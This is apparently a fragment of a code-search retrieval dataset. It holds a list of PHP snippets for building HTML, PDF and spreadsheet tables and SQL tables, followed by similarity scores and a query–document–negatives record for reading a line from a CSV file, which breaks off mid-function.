$col){\n\t\t\t\t\t$thead.=\"<th>{$col[\"header\"]}</th>\";\n\t\t\t\t\t$headerNumber++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t//Busca las columnas declaradas\n\t\t\tforeach($this->headers as $name){\n\t\t\t\tif($this->headerSortable){\n\t\t\t\t\tif($this->order!==\"\"&&!empty($this->order)){\n\t\t\t\t\t\t$order=explode('|',$this->order);\n\t\t\t\t\t\tif(is_array($order)&&$fieldNumber==$order[0]){\n\t\t\t\t\t\t\t$classSortable=\"velkan-grid-column-header velkan-grid-column-header-sorted-\".$order[1];\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$classSortable=\"velkan-grid-column-header velkan-grid-column-header-sorted-both\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$classSortable=\"velkan-grid-column-header velkan-grid-column-header-sorted-both\";\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$thead.=\"<th {$this->id}-column-header class=\\\"$classSortable\\\" onclick=\\\"javascript:{$this->id}Reorder($fieldNumber);\\\" {$this->id}_field_number=\\\"$fieldNumber\\\">$name</th>\";\n\t\t\t\t}else{\n\t\t\t\t\t$thead.=\"<th {$this->id}-column-header>$name</th>\";\n\t\t\t\t}\n\t\t\t\t$fieldNumber++;\n\t\t\t\t$headerNumber++;\n\t\t\t}\n\t\t\t\n\t\t\t//Busca si hay columnas posteriores a agregar\n\t\t\tif(!empty($this->appendedCols)){\n\t\t\t\tforeach($this->appendedCols as $col){\n\t\t\t\t\t$thead.=\"<th>{$col[\"header\"]}</th>\";\n\t\t\t\t\t$headerNumber++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$thead.=\"</tr>\";\n\t\t\t\n\t\t\t//Guardamos el numero total de columnas\n\t\t\t$this->cols=$headerNumber;\n\t\t\t\n\t\t\t\n\t\t\t$tfilter=\"\";\n\t\t\t$type=\"\";\n\t\t\tif($this->headerFilterable){\n\t\t\t\t$cols=count($this->fields)-1;\n\t\t\t\t\n\t\t\t\tfor($i=0;$i<=$cols;$i++){\n\t\t\t\t\t$meClass=velkan::$config[\"datagrid\"][\"filters\"][\"inputClass\"];\n\t\t\t\t\t\n\t\t\t\t\t$type=\"\";\n\t\t\t\t\tif(!empty($this->types)){\n\t\t\t\t\t\t$type=$this->types[$i];\n\t\t\t\t\t}\n\t\t\t\t\t$value=\"\";\n\t\t\t\t\tif(!empty($this->filters)){\n\t\t\t\t\t\tforeach($this->filters as $filter){\n\t\t\t\t\t\t\tif($filter[0]==$i){\n\t\t\t\t\t\t\t\t$value=$filter[1];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$tfilter.=\"<th class='velkan-grid-column-filter'>\";\n\t\t\t\t\t\n\t\t\t\t\tswitch($type){\n\t\t\t\t\t\tcase \"date\":\n\t\t\t\t\t\t\t$input=new date_time(array(\"id\"=>\"grid{$this->id}Filter\",\"name\"=>\"grid{$this->id}Filter[]\",\"value\"=>$value,\"pickerType\"=>date_time::$DATETIME_PICKER_TYPE_DATE));\n\t\t\t\t\t\t\t$tfilter.=$input->render(true);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"datetime\":\n\t\t\t\t\t\t\t$input=new date_time(array(\"id\"=>\"grid{$this->id}Filter\",\"name\"=>\"grid{$this->id}Filter[]\",\"value\"=>$value,\"pickerType\"=>date_time::$DATETIME_PICKER_TYPE_DATETIME));\n\t\t\t\t\t\t\t$tfilter.=$input->render(true);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"time\":\n\t\t\t\t\t\t\t$input=new date_time(array(\"id\"=>\"grid{$this->id}Filter\",\"name\"=>\"grid{$this->id}Filter[]\",\"value\"=>$value,\"pickerType\"=>date_time::$DATETIME_PICKER_TYPE_TIME));\n\t\t\t\t\t\t\t$tfilter.=$input->render(true);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t$tfilter.=\"<input type='search' name='grid{$this->id}Filter[]' $type value=\\\"$value\\\">\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t$tfilter.=\"</th>\";\n\t\t\t\t}\n\t\t\t\t$display=($this->ShowFilters?\"\":\"style='display:none'\");\n\t\t\t\t\n\t\t\t\t$filterPrepend=\"\";\n\t\t\t\tif(!empty($this->prependedCols)){\n\t\t\t\t\tforeach($this->prependedCols as $col){\n\t\t\t\t\t\t$filterPrepend.=\"<th>&nbsp;</th>\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$filterAppend=\"\";\n\t\t\t\tif(!empty($this->appendedCols)){\n\t\t\t\t\tforeach($this->appendedCols as $col){\n\t\t\t\t\t\t$filterAppend.=\"<th>&nbsp;</th>\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$tfilter=\"<tr id='grid{$this->id}Filters' $display>{$filterPrepend}{$tfilter}{$filterAppend}</tr>\";\n\t\t\t}\n\t\t\t\n\t\t\tif($type!=\"\"){\n\t\t\t\t$jss=new generalJavaScriptFunction();\n\t\t\t\t$jss->registerFunction(\"applyFormats\");\n\t\t\t}\n\t\t\t\n\t\t\t$thead.=\"$tfilter</thead>\";\n\t\t}\n\t\t\n\t\treturn $thead;\n\t}", "function verifyCreateTableWithSortRow(){\n $WIKI_TABLE_ROW = \"2\";\n $WIKI_TABLE_COL = \"5\";\n $this->type(TEXT_EDITOR, \"\");\n $this->click(LINK_ADDTABLE);\n $this->click(CHK_HEADER);\n $this->click(CHK_BOARDER);\n $this->click(CHK_SORT);\n $this->type(TEXT_ROW, $WIKI_TABLE_ROW);\n $this->type(TEXT_COL, $WIKI_TABLE_COL);\n $this->click(BUTTON_INSERTABLE);\n $this->click(CHK_HEADER);\n $this->click(CHK_BOARDER);\n $this->click(CHK_SORT);\n $this->click(BUTTON_PREVIEW);\n $this->waitForPageToLoad((WIKI_TEST_WAIT_TIME));\n try {\n $this->assertTrue($this->isElementPresent(TEXT_TABLEID_WITHALLFEATURES . \n TEXT_VALIDATE_TABLE_PART1 . $WIKI_TABLE_ROW .\n TEXT_VALIDATE_TABLE_PART2 . $WIKI_TABLE_COL .\n TEXT_VALIDATE_TABLE_PART3));\n } catch (PHPUnit_Framework_AssertionFailedError $e) {\n parent::doCreateScreenShot(__FUNCTION__);\n array_push($this->verificationErrors, $e->toString());\n }\n }", "private function create_table_people2(): ?string\n\t{\n\t\t$offset = ($this->xxl ? 50 : 30);\n\t\t$rows = ($this->xxl ? 30 : 15);\n\t\t$results = db::query('SELECT csnick, l_total FROM ruid_lines JOIN uid_details ON ruid_lines.ruid = uid_details.uid WHERE status NOT IN (3,4) AND l_total != 0 ORDER BY l_total DESC, ruid_lines.ruid ASC LIMIT '.$offset.','.($rows * 3));\n\t\t$col = 1;\n\t\t$row = 0;\n\n\t\twhile ($result = $results->fetchArray(SQLITE3_ASSOC)) {\n\t\t\tif (++$row > $rows) {\n\t\t\t\t++$col;\n\t\t\t\t$row = 1;\n\t\t\t}\n\n\t\t\t$columns[$col][$row] = [\n\t\t\t\t'csnick' => $result['csnick'],\n\t\t\t\t'l_total' => $result['l_total'],\n\t\t\t\t'pos' => $offset + (($col - 1) * $rows) + $row];\n\t\t}\n\n\t\t/**\n\t\t * Return if we don't have enough data to fill the table.\n\t\t */\n\t\tif (!isset($columns[3][$rows])) {\n\t\t\treturn null;\n\t\t}\n\n\t\t$total = db::query_single_col('SELECT COUNT(*) FROM ruid_lines JOIN uid_details ON ruid_lines.ruid = uid_details.uid WHERE status NOT IN (3,4)') - ($offset + $rows * 3);\n\t\t$colgroup = '<colgroup>'.str_repeat('<col>', 13);\n\t\t$thead = '<thead><tr><th colspan=\"13\">'.($total !== 0 ? '<span class=\"title-left\">Less Talkative People &ndash; All-Time</span><span class=\"title-right\">'.number_format($total).($total !== 1 ? ' People' : ' Person').' had even less to say..</span>' : 'Less Talkative People &ndash; All-Time');\n\t\t$thead .= '<tr><td><td>Lines<td><td>User<td><td>Lines<td><td>User<td><td>Lines<td><td>User<td>';\n\t\t$tbody = '<tbody>';\n\n\t\tfor ($i = 1; $i <= $rows; ++$i) {\n\t\t\t$tbody .= '<tr><td>';\n\n\t\t\tfor ($j = 1; $j <= 3; ++$j) {\n\t\t\t\t$tbody .= '<td>'.number_format($columns[$j][$i]['l_total']).'<td>'.$columns[$j][$i]['pos'].'<td>'.($this->link_user_php ? '<a href=\"user.php?nick='.$this->htmlify(urlencode($columns[$j][$i]['csnick'])).'\">'.$this->htmlify($columns[$j][$i]['csnick']).'</a>' : $this->htmlify($columns[$j][$i]['csnick'])).'<td>';\n\t\t\t}\n\t\t}\n\n\t\treturn '<table class=\"ppl2\">'.$colgroup.$thead.$tbody.'</table>'.\"\\n\";\n\t}", "public static function generate_index_table() {\n global $PAGE;\n\n $headers = array(\n get_string('table_header_request', 'local_extension'),\n get_string('table_header_items', 'local_extension'),\n get_string('table_header_requestdate', 'local_extension'),\n get_string('table_header_statushead', 'local_extension'),\n );\n\n $columns = array('request', 'date', 'items', 'status');\n\n $table = new \\flexible_table('local_extension_summary');\n $table->define_columns($columns);\n $table->define_headers($headers);\n\n $table->define_baseurl($PAGE->url);\n $table->set_attribute('id', 'local_extension_table');\n $table->set_attribute('class', 'generaltable admintable');\n $table->setup();\n\n return $table;\n }", "protected function getHeadRowValues() \n {\n return array(\n\t\t 'Order Number',\n\t\t 'Order Date',\n\t\t \t/*'Month',*/\n 'Bill to name',\n\t\t\t'Ship to Name',\n\t\t\t'Order Location',\n\t\t\t'Zone',\n\t\t\t'Region',\n\t\t\t'Pincode #',\n\t\t\t'Payment Type',\n\t\t\t'Status',\n \t'Category',\n\t\t\t'Brand',\n\t\t\t'Stock Number',\n 'Sku_name',\n /*'MRP',*/\n\t\t\t'Weight',\n\t\t\t'Order Quantity',\n\t\t\t'Shipping Quantity',\n\t\t\t/*'BSP',*/\n\t\t\t'Invoice Id',\n\t\t\t'Invoice Date',\n\t\t\t/*'Method',*/\n\t\t\t'Original MRP',\n\t\t\t'MRP',\n\t\t\t'Discount_Amount',\n\t\t\t'Basic Sale',\n\t\t\t'TAX Amt',\n\t\t\t'Bill Value',\n\t\t\t'Coupon_Code',\n\t\t\t'Coupon Amt',\n\t\t\t'Formula',\n\t\t\t'Tax %',\n\t\t\t'Tax Type',\n\t\t\t'Courier',\n\t\t\t'AWB No',\n\t\t\t/*'Tax Amount',*/\n\t\t\t\t\t\t\n\t\t);\n }", "function get_subscribersTableHeader(){\n $table_head = array();\n $table_head[0] = \"Id\";\n $table_head[1] = \"Email\";\n $table_head[2] = \"Date\";\n return $table_head;\n}", "function lr_make_table($db, $namespace) {\n\n $table = 'lr_'.$namespace;\n $q = \"SHOW TABLES LIKE '$table'\";\n $result = $db->query($q);\n\n // Create the table with columns 'rec', 'sort', and 'text'.\n\n if ($db->numRows($result) < 1) { // Do this only once if necessary!\n $create = \"CREATE TABLE IF NOT EXISTS ?n (rec INT NOT NULL, sort INT NOT NULL, text varchar(255), PRIMARY KEY(rec, sort))\";\n $result = $db->query($create, $table);\n }\n\n return $table;\n}", "private function _fillTmpTable()\n {\n $sql = new SqlStatement();\n $sql->select()\n ->from(array('p' => 'product'), array('p.*'));\n \n if ($this->subCategory) \n {\n $sql->innerJoin(array('p2c' => 'product_to_category'), 'p.product_id = p2c.product_id')\n ->innerJoin(array('cp' => 'category_path'), 'cp.category_id = p2c.category_id')\n ->where('cp.path_id = ?', array($this->subCategory));\n }\n elseif ($this->topCategory) \n {\n $sql->innerJoin(array('p2c' => 'product_to_category'), 'p.product_id = p2c.product_id')\n ->where('p2c.category_id = ?', array($this->topCategory));\n }\n \n $searchConditions = $this->_prepareSearchConditions();\n if (count($searchConditions)) {\n $sql->innerJoin(array('pd' => 'product_description'), 'pd.product_id = p.product_id')\n ->multipleWhere($searchConditions, 'OR');\n }\n \n $sql2 = new SqlStatement();\n $sql2->select(array(\n 'p.product_id',\n 'p.price',\n 'discount' => 'MIN(pd2.price)',\n 'special' => 'MIN(ps.price)',\n 'total' => 'AVG(rating)',\n //@fixed_tax\n //@percent_tax\n ))\n ->from(array('p' => $sql))\n ->innerJoin(array('p2s' => 'product_to_store'), 'p.product_id = p2s.product_id')\n ->where('p2s.store_id = ?', (int)$this->config->get('config_store_id'))\n ->where(\"p.status = '1'\")\n ->where('p.date_available <= NOW()')\n ->group(array('p.product_id'));\n \n if (count($this->aggregate)) {\n foreach ($this->aggregate as $type => $group) {\n foreach ($group as $groupId => $values) {\n $tblAlias = strtolower(substr($type, 0, 1)) . $groupId;\n $sql2->innerJoin(array($tblAlias => self::FILTERS_TABLE), 'p.product_id = ' . $tblAlias . '.product_id');\n $sql2->where($tblAlias . '.type = ?', array($type));\n $sql2->where($tblAlias . '.group_id = ?', array($groupId));\n if ($type !== 'STOCK_STATUS') {\n foreach ($values as $k => $val) {\n $values[$k] = '\\'' . $this->db->escape($val) . '\\'';\n }\n $sql2->where($tblAlias . '.value IN (' . implode(', ', $values) . ')');\n } else {\n $terms = array();\n foreach ($values as $stockSt) {\n if ($stockSt == self::$IN_STOCK_STATUS) {\n $terms[] = '(p.quantity > 0 OR p.stock_status_id = ' . self::$IN_STOCK_STATUS . ')';\n } else {\n $terms[] = '(' . $tblAlias . '.value = \\'' . $this->db->escape($stockSt) . '\\' AND p.quantity = 0)';\n }\n }\n\n $sql2->where('(' . implode(' OR ', $terms) . ')');\n }\n }\n }\n }\n \n if ( self::$HIDE_OUT_OF_STOCK ) {\n $vals = array();\n if (isset($this->aggregate['OPTION'])) {\n foreach ($this->aggregate['OPTION'] as $values) {\n $vals = array_merge($vals, $values);\n }\n }\n $on = count($vals) \n ? \"p.product_id = pov.product_id AND pov.option_value_id IN (\" . implode(',', $vals) . \")\" \n : \"p.product_id = pov.product_id\";\n \n $sql2->leftJoin(array('pov' => 'product_option_value'), $on)\n ->where('( (pov.quantity IS NULL AND p.quantity > 0) OR pov.quantity > 0 )');\n }\n \n $sql2->leftJoin(array('pd2' => 'product_discount'), \"pd2.product_id = p.product_id \n AND pd2.quantity = '1'\n AND (pd2.date_start = '0000-00-00' OR pd2.date_start < NOW())\n AND (pd2.date_end = '0000-00-00' OR pd2.date_end > NOW())\n AND pd2.customer_group_id = '{$this->customerGroupId}'\")\n ->leftJoin(array('ps' => 'product_special'), \"ps.product_id = p.product_id \n AND (ps.date_end = '0000-00-00' OR ps.date_end > NOW())\n AND (ps.date_start = '0000-00-00' OR ps.date_start < NOW())\n AND ps.customer_group_id = '{$this->customerGroupId}'\")\n ->leftJoin(array('r1' => 'review'), 'r1.product_id = p.product_id AND r1.status = 1');\n\n if ($this->config->get('config_tax')) {\n $sql2->select(array('fixed_tax', 'percent_tax'))\n ->leftJoin(array('tr1' => $this->subquery->fixedTax), 'tr1.tax_class_id = p.tax_class_id')\n ->leftJoin(array('tr2' => $this->subquery->percentTax), 'tr2.tax_class_id = p.tax_class_id');\n } else {\n $sql2->select(array('fixed_tax' => '0', 'percent_tax' => '0'));\n }\n\n $this->db->query('CREATE TEMPORARY TABLE ' . DB_PREFIX . self::RESULTS_TABLE . ' (PRIMARY KEY (`product_id`)) ' . $sql2);\n }", "abstract public function createTable();", "public function createRowTable($options = NULL) {\n $request = $this->getRequest();\n $params = $request->getParams();\n $table = $params['table'];\n //---------------------------\n\n if ($table == 'admin.blog_posts') {\n return new Default_Model_DbTable_BlogPost($this->db);\n }\n\n if ($table == 'admin.blog_posts_tags') {\n return new Default_Model_DbTable_BlogPostTag($this->db);\n }\n\n if ($table == 'admin.blog_posts_images') {\n return new Default_Model_DbTable_BlogPostImage($this->db);\n }\n\n if ($table == 'admin.blog_posts_audio') {\n return new Default_Model_DbTable_BlogPostAudio($this->db);\n }\n\n if ($table == 'admin.blog_posts_video') {\n return new Default_Model_DbTable_BlogPostVideo($this->db);\n }\n\n if ($table == 'admin.blog_posts_locations') {\n return new Default_Model_DbTable_BlogPostLocation($this->db);\n }\n }", "function as_table() \n {\n #$str = \"<table> \\n\";\n $str = \"\";\n foreach(get_object_vars($this) as $name => $obj) \n {\n if ($obj != NULL) \n {\n $str .= \"<tr>\\n\\t<td>\".$obj->label().\"</td>\\n\\t\";\n $str .= \"<td>\".$obj.\"</td>\\n</tr>\\n\";\n }\n }\n #$str .= \"</table>\\n\";\n return $str;\n }", "function draw_table($rows) {\n \n echo \"<table border=1 cellspacing=1>\"; //Set up border and spacing\n echo \"<tr>\"; //Begin the table row insertion for header row\n \n foreach($rows[0] as $key => $item) {\n \n echo \"<th>$key</th>\";\n \n }\n \n echo \"</tr>\";\n \n // Insert data into each row\n foreach ($rows as $row) {\n \n echo \"<tr>\";\n \n foreach ($row as $key => $item) {\n \n echo \"<td>$item</td>\"; //Table data\n \n }\n \n echo \"</tr>\";\n \n }\n \n echo \"</table>\";\n \n }", "function drawHeader(){\n switch ($this->doing){\n case 'budget_byProjects':\n case 'myguests':\n if (!(@$this->t instanceof b_table)){\n\t$this->dbg('CANCEL header');\n\t$this->t = new b_table_dummy();\n }\n break;\n\n default:\n parent::drawHeader();\n break;\n }\n }", "public function createHeader($columns)\n {\n $html = \"<tr>\";\n\n \n foreach ($columns as $column) {\n $html .= \"<th>\".$column['label'].\"</th>\";\n }\n $html .= \"</tr>\";\n return $html; \n }", "function thead ( $arguments = \"\" ) {\n $arguments = func_get_args();\n $rc = new ReflectionClass('tthead');\n return $rc->newInstanceArgs( $arguments ); \n}", "static function generateTableHeaderHTML($a_div)\n\t{\n\t\techo \"<tr class='inTableRow'>\\n\";\n//\t\techo \"<th class='inTableColTaskID'>Task ID</th>\\n\";\n\t\techo \"<th class='inTableColTaskName'>{$a_div}</th>\\n\";\n\t\techo \"<th>Subcontractor</th>\\n\";\n\t\techo \"<th class='chTableColAmount'>Amount</th>\\n\";\n\t\techo \"<th>Notes</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "public function row_top($name)\n {\n $out = \"<tr><td width=\\\"100%\\\" colspan=\\\"2\\\" bgcolor=\\\"#C0C0C0\\\">\".$name.\"</td></tr>\\n\";\n return $out;\n }", "function verifyCreateTable(){\n $WIKI_TABLE_ROW = 2;\n $WIKI_TABLE_COL = \"5\";\n parent::doExpandAdvanceSection();\n $this->type(TEXT_EDITOR, \"\");\n $this->click(LINK_ADDTABLE);\n $this->click(CHK_SORT);\n $this->type(TEXT_ROW, $WIKI_TABLE_ROW);\n $this->type(TEXT_COL, $WIKI_TABLE_COL);\n $this->click(BUTTON_INSERTABLE);\n $this->click(CHK_SORT);\n $this->click(BUTTON_PREVIEW);\n $this->waitForPageToLoad((WIKI_TEST_WAIT_TIME));\n try {\n $WIKI_TABLE_ROW = $WIKI_TABLE_ROW+1;\n $this->assertTrue($this->isElementPresent(TEXT_TABLEID_OTHER .\n TEXT_VALIDATE_TABLE_PART1 . $WIKI_TABLE_ROW .\n TEXT_VALIDATE_TABLE_PART2 . $WIKI_TABLE_COL .\n TEXT_VALIDATE_TABLE_PART3 ));\n } catch (PHPUnit_Framework_AssertionFailedError $e) {\n parent::doCreateScreenShot(__FUNCTION__);\n array_push($this->verificationErrors, $e->toString());\n }\n }", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "function table_table_row($values,$escape=false)\n{\n\t$cells=new ocp_tempcode();\n\tforeach ($values as $value)\n\t{\n\t\tif (($escape) && ((!is_object($value)) || ($value->pure_lang!==true)))\n\t\t\t$value=make_string_tempcode(escape_html(is_object($value)?$value->evaluate():$value));\n\n\t\t$cells->attach(do_template('TABLE_TABLE_ROW_CELL',array('_GUID'=>'700a982eb2262149295816ddee91b0e7','VALUE'=>$value)));\n\t}\n\n\treturn do_template('TABLE_TABLE_ROW',array('_GUID'=>'a4efacc07ecb165e37c355559f476ae9','CELLS'=>$cells));\n}", "protected function prepareDetailsTables()\n\t{\n\t}", "protected function _initsTable() {}", "public function setTableHead($tableHead)\n {\n $i = 0;\n foreach ($tableHead as $head) {\n $this->tableHead[$i] = $head;\n $i++;\n }\n $rows = $i;\n $this->setTableColumns($rows);\n\n }", "private function setupTable ($dataRows) {\n $rows = [];\n $this->addColumn(\"name\", \"Page Name\");\n $this->addColumn(\"visits\", \"Visits\");\n\n foreach ($dataRows as $dataRow) {\n array_push($rows, array(\n \"name\" => $dataRow[0],\n \"visits\" => $dataRow[1]\n ));\n }\n\n $this->addMultipleRows($rows);\n\n }", "public function tableWizard() {}", "protected function startTable(PHPUnit_Extensions_Database_DataSet_ITable $table)\n {\n if ($table->getRowCount() == 0) {\n fwrite($this->fh, \"\\t<{$table->getTableMetaData()->getTableName()} />\\n\");\n }\n }", "function printWhole($tableName)\n{\n $result = executePlainSQL(\"SELECT * FROM {$tableName}\");\n OCICommit($db_conn);\n\n echo \"<br>Table [{$tableName}]:<br>\";\n\n // table head\n $ncols = oci_num_fields($result);\n echo \"<table><tr>\";\n for ($i = 1; $i <= $ncols; $i++) {\n $column_name = oci_field_name($result, $i);\n echo \"<th>{$column_name}</th>\";\n }\n echo \"</tr>\";\n\n // table data\n while ($row = OCI_Fetch_Array($result, OCI_BOTH)) {\n echo \"<tr>\";\n for ($i = 0; $i < $ncols; $i++) {\n echo \"<td>{$row[$i]}</td>\";\n }\n echo \"</tr>\";\n }\n echo \"</table>\";\n}", "public static function make_table_header(Array $headings){\n\t\t$html = Xml::openElement( 'thead' );\n $html .= Xml::openElement( 'tr' );\n foreach ( $headings as $heading ) {\n $html .= Xml::element( 'th', array(), $heading );\n\t\t}\n $html .= Xml::closeElement( 'tr' );\n $html .= Xml::closeElement( 'thead' );\n\t\treturn $html;\n\t}", "private function makeTDHeader($type,$header): void {\r\n\t\t$str_d = ($this->bCollapsed) ? ' style=\"display:none\"' : '';\r\n\t\techo '<tr'.$str_d.'>\r\n\t\t\t\t<td class=\"dBug_clickable_row dBug_'.$type.'Key\">' . $header . '</td>\r\n\t\t\t\t<td>';\r\n\t}", "function RowHeadFoot($data) {\n $nb = 0;\n for ($i = 0; $i < count($data); $i++)\n $nb = max($nb, $this->NbLines($this->widths[$i], $data[$i]));\n $h = 5 * $nb;\n //Issue a page break first if needed\n $this->CheckPageBreak($h);\n //Draw the cells of the row\n for ($i = 0; $i < count($data); $i++) {\n $w = $this->widths[$i];\n $a = isset($this->aligns[$i]) ? $this->aligns[$i] : 'L';\n //Save the current position\n $x = $this->GetX();\n $y = $this->GetY();\n //Draw the border\n $this->Rect($x, $y, $w, $h);\n //Print the text\n $this->SetFont('Arial', 'B', 7);\n $this->SetFillColor(203, 203, 203);\n $this->MultiCell($w, 5, $data[$i], 1, $a, true);\n //Put the position to the right of the cell\n $this->SetXY($x + $w, $y);\n }\n //Go to the next line\n $this->Ln($h);\n }", "private function setTableHeader($row){\n\t\t$header_data=false;\n\t\tif($this->header){\n\t\t\t$header_data=$this->header;\n\t\t}\n\t\telse{\n\t\t\tif(!empty($row) && is_array($row) && count($row)){\n\t\t\t\tforeach($row as $i => $v){\n\t\t\t\t\t$header_data[$i]=$i;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(!empty($header_data)){\n\t\t\t$this->table_header.=_N_T.'<tr>';\n\t\t\t$this->table_header.=_N_T_T.'<th class=\"th.LineNum\">#</th>';\n\t\t\tforeach($header_data as $name => $value){\n\t\t\t\t$this->table_header.=_N_T_T.'<th nowrap=\"nowrap\">'.$value.$this->getOrderBy($name).'</th>';\n\t\t\t}\n\t\t\t$this->table_header.=_N_T.'</tr>';\n\t\t}\n\t\treturn $this;\n\t}", "function Header()\r\n{\r\n if($this->ProcessingTable)\r\n $this->TableHeader();\r\n}", "function BorderlessTable($header, $data)\n\t{\n\t $this->SetFillColor(128,128,128);\n\t $this->SetTextColor(255);\n\t $this->SetDrawColor(0,0,0);\n\t $this->SetLineWidth(.3);\n\t // Color and font restoration\n\t $this->SetFillColor(224,235,255);\n\t $this->SetTextColor(0);\n\t $this->SetFont('Arial','',12);\n\t // Data\n\t $this->SetWidths(array(40, 65, 50, 60, ));\n\t foreach($data as $row){\n\t\t$this->BorderlessRow($row);\n\t }\n\t // Closing line\n\t // $this->Cell(array_sum($w),0,'','T');\n\t}", "protected function buildTable(): string\n {\n $sql = '';\n\n if ( empty($this->tableInto) )\n {\n return $sql;\n }\n\n $sql .= 'INTO' . PHP_EOL;\n $sql .= $this->indent();\n $sql .= $this->tableInto . PHP_EOL;\n\n return $sql;\n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "private function _createTable() {\n $query = \"\n CREATE TABLE `seo_metadata` (\n `metadata_id` int(11) NOT NULL auto_increment,\n `seo_id` char(60) NOT NULL,\n `seo_title` varchar(255) NOT NULL,\n `seo_description` varchar(255) NOT NULL,\n `seo_keyword` varchar(255) NOT NULL,\n PRIMARY KEY (`metadata_id`),\n KEY `id_idx` (`id`)\n )\";\n $this->getAdapter()->query( $query );\n }" ]
[ "0.6863029", "0.6492692", "0.6335658", "0.62894595", "0.6214419", "0.6193982", "0.61939144", "0.6050768", "0.60431063", "0.59875673", "0.5984472", "0.5874888", "0.5863243", "0.58206713", "0.5747921", "0.57388544", "0.5723985", "0.57143", "0.5707151", "0.57059443", "0.5643449", "0.5632357", "0.56215745", "0.56123596", "0.560778", "0.5607006", "0.5605955", "0.5586919", "0.55818385", "0.5578014", "0.5575717", "0.55748105", "0.5571676", "0.55507874", "0.5525722", "0.55235356", "0.5480627", "0.5477232", "0.5477115", "0.547379", "0.54683286", "0.54677385", "0.54579544", "0.54315174", "0.54281974", "0.5411512", "0.53973", "0.53926873", "0.5391541", "0.5367767", "0.5363012", "0.5342124", "0.53171295", "0.5316915", "0.53144145", "0.53136677", "0.5306157", "0.5304877", "0.53001946", "0.5292567", "0.5286131", "0.52728724", "0.5271106", "0.52699447", "0.5253144", "0.52498215", "0.52469236", "0.52383596", "0.5236639", "0.5234968", "0.52262986", "0.52220166", "0.5219089", "0.5216588", "0.5214709", "0.52109516", "0.52103716", "0.51902235", "0.51883864", "0.51877046", "0.5186701", "0.51798064", "0.5176199", "0.5176099", "0.5173976", "0.5167508", "0.51641124", "0.5158619", "0.5155089", "0.51531774", "0.5152675", "0.5145849", "0.51417345", "0.51404005", "0.51388615", "0.5126536", "0.51258314", "0.5125617", "0.5124167", "0.51233137" ]
0.66587317
1
Read a line from the CSVfile
protected function readLine() { if(!$this->handle) return false; $strLine = fgets($this->handle); if($strLine === false) return false; // reencode characters if($this->csvEncoding != 'UTF-8') { $strLine = iconv($this->csvEncoding, 'UTF-8', $strLine); } return str_getcsv($strLine,$this->csvDelimiter,$this->csvEnclosure,$this->csvEscape); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function readLine(){\n $data = fgetcsv($this->handle,0,\";\");\n return $data; \n \n }", "public function getLine(){\n $obj = new SplFileObject($this->_csv_file);\n $obj->seek($this->_counter);\n if($this->_counter < $this->_number_of_lines){\n $this->_counter++;\n $arr = $obj->fgetcsv($this->_delimiter);\n }else{\n $arr = null;\n }\n $obj = null;\n return $arr;\n }", "function readCSV($csvFile) {\n if (file_exists($csvFile)) {\n $file_handle = fopen($csvFile, 'r');\n\n while (!feof($file_handle) ) {\n $line_of_text[] = fgetcsv($file_handle, 1024);\n }\n\n fclose($file_handle);\n return $line_of_text;\n } else {\n return null;\n }\n}", "public function readCsv()\n {\n ini_set(\"auto_detect_line_endings\", true);\n $fp = fopen($this->inputFile , 'r');\n while($row = fgetcsv($fp)){\n $this->data[] = $row;\n }\n }", "static public function buffer__csv__pop_line( &$csv ){\n\t\t$pos = strpos( $csv, \"\\n\" );\n\t\t$line = substr( $csv, 0, $pos );\n\t\t$csv = substr_replace( $csv, '', 0, $pos + 1 );\n\t\treturn $line;\n\t}", "private function parseCsvLine($line)\n\t{\n\n\t\t$data = str_getcsv($line);\n\t\t// different count of data cols than header cols, bad CSV\n\t\tif (count($data) != $this->colsNum && count($data) != 1)\n\t\t{ // == 1 probably last empty line\n\t\t\t// different number of cols than in header, file is not in correct format\n\t\t\treturn false;\n\t\t}\n\t\t$dataLine = new 